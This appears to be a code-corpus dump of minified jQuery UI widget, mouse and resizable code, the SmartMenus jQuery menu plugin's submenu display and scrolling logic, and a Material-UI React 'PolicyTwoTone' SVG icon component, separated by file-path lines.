(function(b,d){if(b.cleanData){var c=b.cleanData;b.cleanData=function(f){for(var g=0,h;(h=f[g])!=null;g++){try{b(h).triggerHandler("remove")}catch(j){}}c(f)}}else{var a=b.fn.remove;b.fn.remove=function(e,f){return this.each(function(){if(!f){if(!e||b.filter(e,[this]).length){b("*",this).add([this]).each(function(){try{b(this).triggerHandler("remove")}catch(g){}})}}return a.call(b(this),e,f)})}}b.widget=function(f,h,e){var g=f.split(".")[0],j;f=f.split(".")[1];j=g+"-"+f;if(!e){e=h;h=b.Widget}b.expr[":"][j]=function(k){return !!b.data(k,f)};b[g]=b[g]||{};b[g][f]=function(k,l){if(arguments.length){this._createWidget(k,l)}};var i=new h();i.options=b.extend(true,{},i.options);b[g][f].prototype=b.extend(true,i,{namespace:g,widgetName:f,widgetEventPrefix:b[g][f].prototype.widgetEventPrefix||f,widgetBaseClass:j},e);b.widget.bridge(f,b[g][f])};b.widget.bridge=function(f,e){b.fn[f]=function(i){var g=typeof i==="string",h=Array.prototype.slice.call(arguments,1),j=this;i=!g&&h.length?b.extend.apply(null,[true,i].concat(h)):i;if(g&&i.charAt(0)==="_"){return j}if(g){this.each(function(){var k=b.data(this,f),l=k&&b.isFunction(k[i])?k[i].apply(k,h):k;if(l!==k&&l!==d){j=l;return false}})}else{this.each(function(){var k=b.data(this,f);if(k){k.option(i||{})._init()}else{b.data(this,f,new e(i,this))}})}return j}};b.Widget=function(e,f){if(arguments.length){this._createWidget(e,f)}};b.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",options:{disabled:false},_createWidget:function(f,g){b.data(g,this.widgetName,this);this.element=b(g);this.options=b.extend(true,{},this.options,this._getCreateOptions(),f);var e=this;this.element.bind("remove."+this.widgetName,function(){e.destroy()});this._create();this._trigger("create");this._init()},_getCreateOptions:function(){return b.metadata&&b.metadata.get(this.element[0])[this.widgetName]},_create:function(){},_init:function(){},destroy:function(){this.element.unbind("."+this.widgetName).removeData(this.widgetName);this.widget().unbind("."+this.widgetName).removeAttr("aria-disabled").removeClass(this.widgetBaseClass+"-disabled ui-state-disabled")},widget:function(){return this.element},option:function(f,g){var e=f;if(arguments.length===0){return b.extend({},this.options)}if(typeof f==="string"){if(g===d){return this.options[f]}e={};e[f]=g}this._setOptions(e);return this},_setOptions:function(f){var e=this;b.each(f,function(g,h){e._setOption(g,h)});return this},_setOption:function(e,f){this.options[e]=f;if(e==="disabled"){this.widget()[f?"addClass":"removeClass"](this.widgetBaseClass+"-disabled ui-state-disabled").attr("aria-disabled",f)}return this},enable:function(){return this._setOption("disabled",false)},disable:function(){return this._setOption("disabled",true)},_trigger:function(e,f,g){var j,i,h=this.options[e];g=g||{};f=b.Event(f);f.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase();f.target=this.element[0];i=f.originalEvent;if(i){for(j in i){if(!(j in f)){f[j]=i[j]}}}this.element.trigger(f,g);return !(b.isFunction(h)&&h.call(this.element[0],f,g)===false||f.isDefaultPrevented())}}})(jQuery);/*!
* jQuery UI Mouse 1.8.18
*
* Copyright 2011, AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* http://docs.jquery.com/UI/Mouse
*
* Depends:
* jquery.ui.widget.js
*/
(function(b,c){var a=false;b(document).mouseup(function(d){a=false});b.widget("ui.mouse",{options:{cancel:":input,option",distance:1,delay:0},_mouseInit:function(){var d=this;this.element.bind("mousedown."+this.widgetName,function(e){return d._mouseDown(e)}).bind("click."+this.widgetName,function(e){if(true===b.data(e.target,d.widgetName+".preventClickEvent")){b.removeData(e.target,d.widgetName+".preventClickEvent");e.stopImmediatePropagation();return false}});this.started=false},_mouseDestroy:function(){this.element.unbind("."+this.widgetName)},_mouseDown:function(f){if(a){return}(this._mouseStarted&&this._mouseUp(f));this._mouseDownEvent=f;var e=this,g=(f.which==1),d=(typeof this.options.cancel=="string"&&f.target.nodeName?b(f.target).closest(this.options.cancel).length:false);if(!g||d||!this._mouseCapture(f)){return true}this.mouseDelayMet=!this.options.delay;if(!this.mouseDelayMet){this._mouseDelayTimer=setTimeout(function(){e.mouseDelayMet=true},this.options.delay)}if(this._mouseDistanceMet(f)&&this._mouseDelayMet(f)){this._mouseStarted=(this._mouseStart(f)!==false);if(!this._mouseStarted){f.preventDefault();return true}}if(true===b.data(f.target,this.widgetName+".preventClickEvent")){b.removeData(f.target,this.widgetName+".preventClickEvent")}this._mouseMoveDelegate=function(h){return e._mouseMove(h)};this._mouseUpDelegate=function(h){return e._mouseUp(h)};b(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate);f.preventDefault();a=true;return true},_mouseMove:function(d){if(b.browser.msie&&!(document.documentMode>=9)&&!d.button){return this._mouseUp(d)}if(this._mouseStarted){this._mouseDrag(d);return d.preventDefault()}if(this._mouseDistanceMet(d)&&this._mouseDelayMet(d)){this._mouseStarted=(this._mouseStart(this._mouseDownEvent,d)!==false);(this._mouseStarted?this._mouseDrag(d):this._mouseUp(d))}return !this._mouseStarted},_mouseUp:function(d){b(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;if(d.target==this._mouseDownEvent.target){b.data(d.target,this.widgetName+".preventClickEvent",true)}this._mouseStop(d)}return false},_mouseDistanceMet:function(d){return(Math.max(Math.abs(this._mouseDownEvent.pageX-d.pageX),Math.abs(this._mouseDownEvent.pageY-d.pageY))>=this.options.distance)},_mouseDelayMet:function(d){return this.mouseDelayMet},_mouseStart:function(d){},_mouseDrag:function(d){},_mouseStop:function(d){},_mouseCapture:function(d){return true}})})(jQuery);(function(c,d){c.widget("ui.resizable",c.ui.mouse,{widgetEventPrefix:"resize",options:{alsoResize:false,animate:false,animateDuration:"slow",animateEasing:"swing",aspectRatio:false,autoHide:false,containment:false,ghost:false,grid:false,handles:"e,s,se",helper:false,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:1000},_create:function(){var f=this,k=this.options;this.element.addClass("ui-resizable");c.extend(this,{_aspectRatio:!!(k.aspectRatio),aspectRatio:k.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:k.helper||k.ghost||k.animate?k.helper||"ui-resizable-helper":null});if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)){this.element.wrap(c('<div class="ui-wrapper" style="overflow: hidden;"></div>').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle=this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=k.handles||(!c(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all"){this.handles="n,e,s,w,se,sw,ne,nw"}var l=this.handles.split(",");this.handles={};for(var g=0;g<l.length;g++){var j=c.trim(l[g]),e="ui-resizable-"+j;var h=c('<div class="ui-resizable-handle '+e+'"></div>');if(/sw|se|ne|nw/.test(j)){h.css({zIndex:++k.zIndex})}if("se"==j){h.addClass("ui-icon ui-icon-gripsmall-diagonal-se")}this.handles[j]=".ui-resizable-"+j;this.element.append(h)}}this._renderAxis=function(q){q=q||this.element;for(var n in this.handles){if(this.handles[n].constructor==String){this.handles[n]=c(this.handles[n],this.element).show()}if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var o=c(this.handles[n],this.element),p=0;p=/sw|ne|nw|se|n|s/.test(n)?o.outerHeight():o.outerWidth();var m=["padding",/ne|nw|n/.test(n)?"Top":/se|sw|s/.test(n)?"Bottom":/^e$/.test(n)?"Right":"Left"].join("");q.css(m,p);this._proportionallyResize()}if(!c(this.handles[n]).length){continue}}};this._renderAxis(this.element);this._handles=c(".ui-resizable-handle",this.element).disableSelection();this._handles.mouseover(function(){if(!f.resizing){if(this.className){var i=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)}f.axis=i&&i[1]?i[1]:"se"}});if(k.autoHide){this._handles.hide();c(this.element).addClass("ui-resizable-autohide").hover(function(){if(k.disabled){return}c(this).removeClass("ui-resizable-autohide");f._handles.show()},function(){if(k.disabled){return}if(!f.resizing){c(this).addClass("ui-resizable-autohide");f._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var e=function(g){c(g).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};if(this.elementIsWrapper){e(this.element);var f=this.element;f.after(this.originalElement.css({position:f.css("position"),width:f.outerWidth(),height:f.outerHeight(),top:f.css("top"),left:f.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);e(this.originalElement);return this},_mouseCapture:function(f){var g=false;for(var e in this.handles){if(c(this.handles[e])[0]==f.target){g=true}}return !this.options.disabled&&g},_mouseStart:function(g){var j=this.options,f=this.element.position(),e=this.element;this.resizing=true;this.documentScroll={top:c(document).scrollTop(),left:c(document).scrollLeft()};if(e.is(".ui-draggable")||(/absolute/).test(e.css("position"))){e.css({position:"absolute",top:f.top,left:f.left})}this._renderProxy();var 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* Dual licensed under the MIT and GPL licenses.
* http://benalman.com/about/license/
*/
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http://stevenbenner.github.com/jquery-powertip/
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https://raw.github.com/stevenbenner/jquery-powertip/master/LICENSE.txt
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*
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m=parseInt(this[l?"$root":"$firstSub"].css("z-index"));if(!l&&isNaN(m)){m=parseInt(this.$root.css("z-index"))}return !isNaN(m)?m:1},getTouchPoint:function(l){return l.touches&&l.touches[0]||l.changedTouches&&l.changedTouches[0]||l},getViewport:function(l){var m=l?"Height":"Width",o=document.documentElement["client"+m],n=window["inner"+m];if(n){o=Math.min(o,n)}return o},getViewportHeight:function(){return this.getViewport(true)},getViewportWidth:function(){return this.getViewport()},getWidth:function(l){return this.getOffset(l)},handleEvents:function(){return !this.disabled&&this.isCSSOn()},handleItemEvents:function(l){return this.handleEvents()&&!this.isLinkInMegaMenu(l)},isCollapsible:function(){return this.$firstSub.css("position")=="static"},isCSSOn:function(){return this.$firstLink.css("display")=="block"},isFixed:function(){var l=this.$root.css("position")=="fixed";if(!l){this.$root.parentsUntil("body").each(function(){if(a(this).css("position")=="fixed"){l=true;return false}})}return l},isLinkInMegaMenu:function(l){return a(this.getClosestMenu(l[0])).hasClass("mega-menu")},isTouchMode:function(){return !f||this.opts.noMouseOver||this.isCollapsible()},itemActivate:function(p,l){var n=p.closest("ul"),q=n.dataSM("level");if(q>1&&(!this.activatedItems[q-2]||this.activatedItems[q-2][0]!=n.dataSM("parent-a")[0])){var m=this;a(n.parentsUntil("[data-smartmenus-id]","ul").get().reverse()).add(n).each(function(){m.itemActivate(a(this).dataSM("parent-a"))})}if(!this.isCollapsible()||l){this.menuHideSubMenus(!this.activatedItems[q-1]||this.activatedItems[q-1][0]!=p[0]?q-1:q)}this.activatedItems[q-1]=p;if(this.$root.triggerHandler("activate.smapi",p[0])===false){return}var o=p.dataSM("sub");if(o&&(this.isTouchMode()||(!this.opts.showOnClick||this.clickActivated))){this.menuShow(o)}},itemBlur:function(m){var l=a(m.currentTarget);if(!this.handleItemEvents(l)){return}this.$root.triggerHandler("blur.smapi",l[0])},itemClick:function(o){var n=a(o.currentTarget);if(!this.handleItemEvents(n)){return}if(this.$touchScrollingSub&&this.$touchScrollingSub[0]==n.closest("ul")[0]){this.$touchScrollingSub=null;o.stopPropagation();return false}if(this.$root.triggerHandler("click.smapi",n[0])===false){return false}var p=a(o.target).is("span.sub-arrow"),m=n.dataSM("sub"),l=m?m.dataSM("level")==2:false;if(m&&!m.is(":visible")){if(this.opts.showOnClick&&l){this.clickActivated=true}this.itemActivate(n);if(m.is(":visible")){this.focusActivated=true;return false}}else{if(this.isCollapsible()&&p){this.itemActivate(n);this.menuHide(m);return false}}if(this.opts.showOnClick&&l||n.hasClass("disabled")||this.$root.triggerHandler("select.smapi",n[0])===false){return false}},itemDown:function(m){var l=a(m.currentTarget);if(!this.handleItemEvents(l)){return}l.dataSM("mousedown",true)},itemEnter:function(n){var m=a(n.currentTarget);if(!this.handleItemEvents(m)){return}if(!this.isTouchMode()){if(this.showTimeout){clearTimeout(this.showTimeout);this.showTimeout=0}var l=this;this.showTimeout=setTimeout(function(){l.itemActivate(m)},this.opts.showOnClick&&m.closest("ul").dataSM("level")==1?1:this.opts.showTimeout)}this.$root.triggerHandler("mouseenter.smapi",m[0])},itemFocus:function(m){var l=a(m.currentTarget);if(!this.handleItemEvents(l)){return}if(this.focusActivated&&(!this.isTouchMode()||!l.dataSM("mousedown"))&&(!this.activatedItems.length||this.activatedItems[this.activatedItems.length-1][0]!=l[0])){this.itemActivate(l,true)}this.$root.triggerHandler("focus.smapi",l[0])},itemLeave:function(m){var l=a(m.currentTarget);if(!this.handleItemEvents(l)){return}if(!this.isTouchMode()){l[0].blur();if(this.showTimeout){clearTimeout(this.showTimeout);this.showTimeout=0}}l.removeDataSM("mousedown");this.$root.triggerHandler("mouseleave.smapi",l[0])},menuHide:function(m){if(this.$root.triggerHandler("beforehide.smapi",m[0])===false){return}m.stop(true,true);if(m.css("display")!="none"){var l=function(){m.css("z-index","")};if(this.isCollapsible()){if(this.opts.collapsibleHideFunction){this.opts.collapsibleHideFunction.call(this,m,l)}else{m.hide(this.opts.collapsibleHideDuration,l)}}else{if(this.opts.hideFunction){this.opts.hideFunction.call(this,m,l)}else{m.hide(this.opts.hideDuration,l)}}if(m.dataSM("ie-shim")){m.dataSM("ie-shim").remove().css({"-webkit-transform":"",transform:""})}if(m.dataSM("scroll")){this.menuScrollStop(m);m.css({"touch-action":"","-ms-touch-action":"","-webkit-transform":"",transform:""}).unbind(".smartmenus_scroll").removeDataSM("scroll").dataSM("scroll-arrows").hide()}m.dataSM("parent-a").removeClass("highlighted").attr("aria-expanded","false");m.attr({"aria-expanded":"false","aria-hidden":"true"});var n=m.dataSM("level");this.activatedItems.splice(n-1,1);this.visibleSubMenus.splice(a.inArray(m,this.visibleSubMenus),1);this.$root.triggerHandler("hide.smapi",m[0])}},menuHideAll:function(){if(this.showTimeout){clearTimeout(this.showTimeout);this.showTimeout=0}var m=this.opts.isPopup?1:0;for(var l=this.visibleSubMenus.length-1;l>=m;l--){this.menuHide(this.visibleSubMenus[l])}if(this.opts.isPopup){this.$root.stop(true,true);if(this.$root.is(":visible")){if(this.opts.hideFunction){this.opts.hideFunction.call(this,this.$root)}else{this.$root.hide(this.opts.hideDuration)}if(this.$root.dataSM("ie-shim")){this.$root.dataSM("ie-shim").remove()}}}this.activatedItems=[];this.visibleSubMenus=[];this.clickActivated=false;this.focusActivated=false;this.zIndexInc=0;this.$root.triggerHandler("hideAll.smapi")},menuHideSubMenus:function(n){for(var l=this.activatedItems.length-1;l>=n;l--){var m=this.activatedItems[l].dataSM("sub");if(m){this.menuHide(m)}}},menuIframeShim:function(l){if(e&&this.opts.overlapControlsInIE&&!l.dataSM("ie-shim")){l.dataSM("ie-shim",a("<iframe/>").attr({src:"javascript:0",tabindex:-9}).css({position:"absolute",top:"auto",left:"0",opacity:0,border:"0"}))}},menuInit:function(l){if(!l.dataSM("in-mega")){if(l.hasClass("mega-menu")){l.find("ul").dataSM("in-mega",true)}var q=2,m=l[0];while((m=m.parentNode.parentNode)!=this.$root[0]){q++}var n=l.prevAll("a").eq(-1);if(!n.length){n=l.prevAll().find("a").eq(-1)}n.addClass("has-submenu").dataSM("sub",l);l.dataSM("parent-a",n).dataSM("level",q).parent().dataSM("sub",l);var o=n.attr("id")||this.accessIdPrefix+(++this.idInc),p=l.attr("id")||this.accessIdPrefix+(++this.idInc);n.attr({id:o,"aria-haspopup":"true","aria-controls":p,"aria-expanded":"false"});l.attr({id:p,role:"group","aria-hidden":"true","aria-labelledby":o,"aria-expanded":"false"});if(this.opts.subIndicators){n[this.opts.subIndicatorsPos](this.$subArrow.clone())}}},menuPosition:function(K){var r=K.dataSM("parent-a"),D=r.closest("li"),E=D.parent(),l=K.dataSM("level"),t=this.getWidth(K),J=this.getHeight(K),u=r.offset(),o=u.left,m=u.top,q=this.getWidth(r),F=this.getHeight(r),H=a(window),v=H.scrollLeft(),s=H.scrollTop(),z=this.getViewportWidth(),L=this.getViewportHeight(),w=E.parent().is("[data-sm-horizontal-sub]")||l==2&&!E.hasClass("sm-vertical"),B=this.opts.rightToLeftSubMenus&&!D.is("[data-sm-reverse]")||!this.opts.rightToLeftSubMenus&&D.is("[data-sm-reverse]"),p=l==2?this.opts.mainMenuSubOffsetX:this.opts.subMenusSubOffsetX,n=l==2?this.opts.mainMenuSubOffsetY:this.opts.subMenusSubOffsetY,C,A;if(w){C=B?q-t-p:p;A=this.opts.bottomToTopSubMenus?-J-n:F+n}else{C=B?p-t:q-p;A=this.opts.bottomToTopSubMenus?F-n-J:n}if(this.opts.keepInViewport){var N=o+C,M=m+A;if(B&&N<v){C=w?v-N+C:q-p}else{if(!B&&N+t>v+z){C=w?v+z-t-N+C:p-t}}if(!w){if(J<L&&M+J>s+L){A+=s+L-J-M}else{if(J>=L||M<s){A+=s-M}}}if(w&&(M+J>s+L+0.49||M<s)||!w&&J>L+0.49){var G=this;if(!K.dataSM("scroll-arrows")){K.dataSM("scroll-arrows",a([a('<span class="scroll-up"><span class="scroll-up-arrow"></span></span>')[0],a('<span class="scroll-down"><span class="scroll-down-arrow"></span></span>')[0]]).bind({mouseenter:function(){K.dataSM("scroll").up=a(this).hasClass("scroll-up");G.menuScroll(K)},mouseleave:function(x){G.menuScrollStop(K);G.menuScrollOut(K,x)},"mousewheel DOMMouseScroll":function(x){x.preventDefault()}}).insertAfter(K))}var I=".smartmenus_scroll";K.dataSM("scroll",{y:this.cssTransforms3d?0:A-F,step:1,itemH:F,subH:J,arrowDownH:this.getHeight(K.dataSM("scroll-arrows").eq(1))}).bind(i([["mouseover",function(x){G.menuScrollOver(K,x)}],["mouseout",function(x){G.menuScrollOut(K,x)}],["mousewheel DOMMouseScroll",function(x){G.menuScrollMousewheel(K,x)}]],I)).dataSM("scroll-arrows").css({top:"auto",left:"0",marginLeft:C+(parseInt(K.css("border-left-width"))||0),width:t-(parseInt(K.css("border-left-width"))||0)-(parseInt(K.css("border-right-width"))||0),zIndex:K.css("z-index")}).eq(w&&this.opts.bottomToTopSubMenus?0:1).show();if(this.isFixed()){K.css({"touch-action":"none","-ms-touch-action":"none"}).bind(i([[d?"touchstart touchmove touchend":"pointerdown pointermove pointerup MSPointerDown MSPointerMove MSPointerUp",function(x){G.menuScrollTouch(K,x)}]],I))}}}K.css({top:"auto",left:"0",marginLeft:C,marginTop:A-F});this.menuIframeShim(K);if(K.dataSM("ie-shim")){K.dataSM("ie-shim").css({zIndex:K.css("z-index"),width:t,height:J,marginLeft:C,marginTop:A-F})}},menuScroll:function(r,m,n){var p=r.dataSM("scroll"),q=r.dataSM("scroll-arrows"),o=p.up?p.upEnd:p.downEnd,s;if(!m&&p.momentum){p.momentum*=0.92;s=p.momentum;if(s<0.5){this.menuScrollStop(r);return}}else{s=n||(m||!this.opts.scrollAccelerate?this.opts.scrollStep:Math.floor(p.step))}var l=r.dataSM("level");if(this.activatedItems[l-1]&&this.activatedItems[l-1].dataSM("sub")&&this.activatedItems[l-1].dataSM("sub").is(":visible")){this.menuHideSubMenus(l-1)}p.y=p.up&&o<=p.y||!p.up&&o>=p.y?p.y:(Math.abs(o-p.y)>s?p.y+(p.up?s:-s):o);r.add(r.dataSM("ie-shim")).css(this.cssTransforms3d?{"-webkit-transform":"translate3d(0, "+p.y+"px, 0)",transform:"translate3d(0, "+p.y+"px, 0)"}:{marginTop:p.y});if(f&&(p.up&&p.y>p.downEnd||!p.up&&p.y<p.upEnd)){q.eq(p.up?1:0).show()}if(p.y==o){if(f){q.eq(p.up?0:1).hide()}this.menuScrollStop(r)}else{if(!m){if(this.opts.scrollAccelerate&&p.step<this.opts.scrollStep){p.step+=0.2}var t=this;this.scrollTimeout=g(function(){t.menuScroll(r)})}}},menuScrollMousewheel:function(m,n){if(this.getClosestMenu(n.target)==m[0]){n=n.originalEvent;var l=(n.wheelDelta||-n.detail)>0;if(m.dataSM("scroll-arrows").eq(l?0:1).is(":visible")){m.dataSM("scroll").up=l;this.menuScroll(m,true)}}n.preventDefault()},menuScrollOut:function(l,m){if(f){if(!/^scroll-(up|down)/.test((m.relatedTarget||"").className)&&(l[0]!=m.relatedTarget&&!a.contains(l[0],m.relatedTarget)||this.getClosestMenu(m.relatedTarget)!=l[0])){l.dataSM("scroll-arrows").css("visibility","hidden")}}},menuScrollOver:function(n,o){if(f){if(!/^scroll-(up|down)/.test(o.target.className)&&this.getClosestMenu(o.target)==n[0]){this.menuScrollRefreshData(n);var m=n.dataSM("scroll"),l=a(window).scrollTop()-n.dataSM("parent-a").offset().top-m.itemH;n.dataSM("scroll-arrows").eq(0).css("margin-top",l).end().eq(1).css("margin-top",l+this.getViewportHeight()-m.arrowDownH).end().css("visibility","visible")}}},menuScrollRefreshData:function(n){var m=n.dataSM("scroll"),l=a(window).scrollTop()-n.dataSM("parent-a").offset().top-m.itemH;if(this.cssTransforms3d){l=-(parseFloat(n.css("margin-top"))-l)}a.extend(m,{upEnd:l,downEnd:l+this.getViewportHeight()-m.subH})},menuScrollStop:function(l){if(this.scrollTimeout){c(this.scrollTimeout);this.scrollTimeout=0;l.dataSM("scroll").step=1;return true}},menuScrollTouch:function(p,q){q=q.originalEvent;if(j(q)){var m=this.getTouchPoint(q);if(this.getClosestMenu(m.target)==p[0]){var o=p.dataSM("scroll");if(/(start|down)$/i.test(q.type)){if(this.menuScrollStop(p)){q.preventDefault();this.$touchScrollingSub=p}else{this.$touchScrollingSub=null}this.menuScrollRefreshData(p);a.extend(o,{touchStartY:m.pageY,touchStartTime:q.timeStamp})}else{if(/move$/i.test(q.type)){var n=o.touchY!==undefined?o.touchY:o.touchStartY;if(n!==undefined&&n!=m.pageY){this.$touchScrollingSub=p;var l=n<m.pageY;if(o.up!==undefined&&o.up!=l){a.extend(o,{touchStartY:m.pageY,touchStartTime:q.timeStamp})}a.extend(o,{up:l,touchY:m.pageY});this.menuScroll(p,true,Math.abs(m.pageY-n))}q.preventDefault()}else{if(o.touchY!==undefined){if(o.momentum=Math.pow(Math.abs(m.pageY-o.touchStartY)/(q.timeStamp-o.touchStartTime),2)*15){this.menuScrollStop(p);this.menuScroll(p);q.preventDefault()}delete o.touchY}}}}}},menuShow:function(n){if(!n.dataSM("beforefirstshowfired")){n.dataSM("beforefirstshowfired",true);if(this.$root.triggerHandler("beforefirstshow.smapi",n[0])===false){return}}if(this.$root.triggerHandler("beforeshow.smapi",n[0])===false){return}n.dataSM("shown-before",true).stop(true,true);if(!n.is(":visible")){var m=n.dataSM("parent-a");if(this.opts.keepHighlighted||this.isCollapsible()){m.addClass("highlighted")}if(this.isCollapsible()){n.removeClass("sm-nowrap").css({zIndex:"",width:"auto",minWidth:"",maxWidth:"",top:"",left:"",marginLeft:"",marginTop:""})}else{n.css("z-index",this.zIndexInc=(this.zIndexInc||this.getStartZIndex())+1);if(this.opts.subMenusMinWidth||this.opts.subMenusMaxWidth){n.css({width:"auto",minWidth:"",maxWidth:""}).addClass("sm-nowrap");if(this.opts.subMenusMinWidth){n.css("min-width",this.opts.subMenusMinWidth)}if(this.opts.subMenusMaxWidth){var o=this.getWidth(n);n.css("max-width",this.opts.subMenusMaxWidth);if(o>this.getWidth(n)){n.removeClass("sm-nowrap").css("width",this.opts.subMenusMaxWidth)}}}this.menuPosition(n);if(n.dataSM("ie-shim")){n.dataSM("ie-shim").insertBefore(n)}}var l=function(){n.css("overflow","")};if(this.isCollapsible()){if(this.opts.collapsibleShowFunction){this.opts.collapsibleShowFunction.call(this,n,l)}else{n.show(this.opts.collapsibleShowDuration,l)}}else{if(this.opts.showFunction){this.opts.showFunction.call(this,n,l)}else{n.show(this.opts.showDuration,l)}}m.attr("aria-expanded","true");n.attr({"aria-expanded":"true","aria-hidden":"false"});this.visibleSubMenus.push(n);this.$root.triggerHandler("show.smapi",n[0])}},popupHide:function(l){if(this.hideTimeout){clearTimeout(this.hideTimeout);this.hideTimeout=0}var m=this;this.hideTimeout=setTimeout(function(){m.menuHideAll()},l?1:this.opts.hideTimeout)},popupShow:function(o,n){if(!this.opts.isPopup){alert('SmartMenus jQuery Error:\n\nIf you want to show this menu via the "popupShow" method, set the isPopup:true option.');return}if(this.hideTimeout){clearTimeout(this.hideTimeout);this.hideTimeout=0}this.$root.dataSM("shown-before",true).stop(true,true);if(!this.$root.is(":visible")){this.$root.css({left:o,top:n});this.menuIframeShim(this.$root);if(this.$root.dataSM("ie-shim")){this.$root.dataSM("ie-shim").css({zIndex:this.$root.css("z-index"),width:this.getWidth(this.$root),height:this.getHeight(this.$root),left:o,top:n}).insertBefore(this.$root)}var m=this,l=function(){m.$root.css("overflow","")};if(this.opts.showFunction){this.opts.showFunction.call(this,this.$root,l)}else{this.$root.show(this.opts.showDuration,l)}this.visibleSubMenus[0]=this.$root}},refresh:function(){this.destroy(true);this.init(true)},rootKeyDown:function(o){if(!this.handleEvents()){return}switch(o.keyCode){case 27:var m=this.activatedItems[0];if(m){this.menuHideAll();m[0].focus();var n=m.dataSM("sub");if(n){this.menuHide(n)}}break;case 32:var l=a(o.target);if(l.is("a")&&this.handleItemEvents(l)){var n=l.dataSM("sub");if(n&&!n.is(":visible")){this.itemClick({currentTarget:o.target});o.preventDefault()}}break}},rootOut:function(m){if(!this.handleEvents()||this.isTouchMode()||m.target==this.$root[0]){return}if(this.hideTimeout){clearTimeout(this.hideTimeout);this.hideTimeout=0}if(!this.opts.showOnClick||!this.opts.hideOnClick){var l=this;this.hideTimeout=setTimeout(function(){l.menuHideAll()},this.opts.hideTimeout)}},rootOver:function(l){if(!this.handleEvents()||this.isTouchMode()||l.target==this.$root[0]){return}if(this.hideTimeout){clearTimeout(this.hideTimeout);this.hideTimeout=0}},winResize:function(m){if(!this.handleEvents()){if(this.$disableOverlay){var n=this.$root.offset();this.$disableOverlay.css({top:n.top,left:n.left,width:this.$root.outerWidth(),height:this.$root.outerHeight()})}return}if(!("onorientationchange" in window)||m.type=="orientationchange"){var l=this.isCollapsible();if(!(this.wasCollapsible&&l)){if(this.activatedItems.length){this.activatedItems[this.activatedItems.length-1][0].blur()}this.menuHideAll()}this.wasCollapsible=l}}}});a.fn.dataSM=function(l,m){if(m){return this.data(l+"_smartmenus",m)}return this.data(l+"_smartmenus")};a.fn.removeDataSM=function(l){return this.removeData(l+"_smartmenus")};a.fn.smartmenus=function(m){if(typeof m=="string"){var l=arguments,o=m;Array.prototype.shift.call(l);return this.each(function(){var p=a(this).data("smartmenus");if(p&&p[o]){p[o].apply(p,l)}})}var n=a.extend({},a.fn.smartmenus.defaults,m);return this.each(function(){new a.SmartMenus(this,n)})};a.fn.smartmenus.defaults={isPopup:false,mainMenuSubOffsetX:0,mainMenuSubOffsetY:0,subMenusSubOffsetX:0,subMenusSubOffsetY:0,subMenusMinWidth:"10em",subMenusMaxWidth:"20em",subIndicators:true,subIndicatorsPos:"prepend",subIndicatorsText:"+",scrollStep:30,scrollAccelerate:true,showTimeout:250,hideTimeout:500,showDuration:0,showFunction:null,hideDuration:0,hideFunction:function(m,l){m.fadeOut(200,l)},collapsibleShowDuration:0,collapsibleShowFunction:function(m,l){m.slideDown(200,l)},collapsibleHideDuration:0,collapsibleHideFunction:function(m,l){m.slideUp(200,l)},showOnClick:false,hideOnClick:true,noMouseOver:false,keepInViewport:true,keepHighlighted:true,markCurrentItem:false,markCurrentTree:true,rightToLeftSubMenus:false,bottomToTopSubMenus:false,overlapControlsInIE:true};return a}));
|
packages/material-ui-icons/src/PolicyTwoTone.js
|
callemall/material-ui
|
import * as React from 'react';
import createSvgIcon from './utils/createSvgIcon';
export default createSvgIcon(
<React.Fragment><path d="M5 6.3V11c0 4.52 2.98 8.69 7 9.93 1.74-.53 3.28-1.62 4.47-3.04l-1.72-1.72c-1.94 1.29-4.58 1.07-6.29-.64-1.95-1.95-1.95-5.12 0-7.07 1.95-1.95 5.12-1.95 7.07 0 1.71 1.71 1.92 4.35.64 6.29l1.45 1.45C18.49 14.65 19 12.85 19 11V6.3l-7-3.11L5 6.3z" opacity=".3" /><path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 .65-.16 1.27-.38 1.87-.65 1.8-.82 3.36-2.13 4.57-3.74C20.04 16.46 21 13.77 21 11V5l-9-4zm7 10c0 1.85-.51 3.65-1.38 5.21l-1.45-1.45c1.29-1.94 1.07-4.58-.64-6.29-1.95-1.95-5.12-1.95-7.07 0-1.95 1.95-1.95 5.12 0 7.07 1.71 1.71 4.35 1.92 6.29.64l1.72 1.72c-1.19 1.42-2.73 2.51-4.47 3.04-4.02-1.25-7-5.42-7-9.94V6.3l7-3.11 7 3.11V11zm-4 1c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3 3 1.34 3 3z" /></React.Fragment>
, 'PolicyTwoTone');
|
src/FluxContainer.js
|
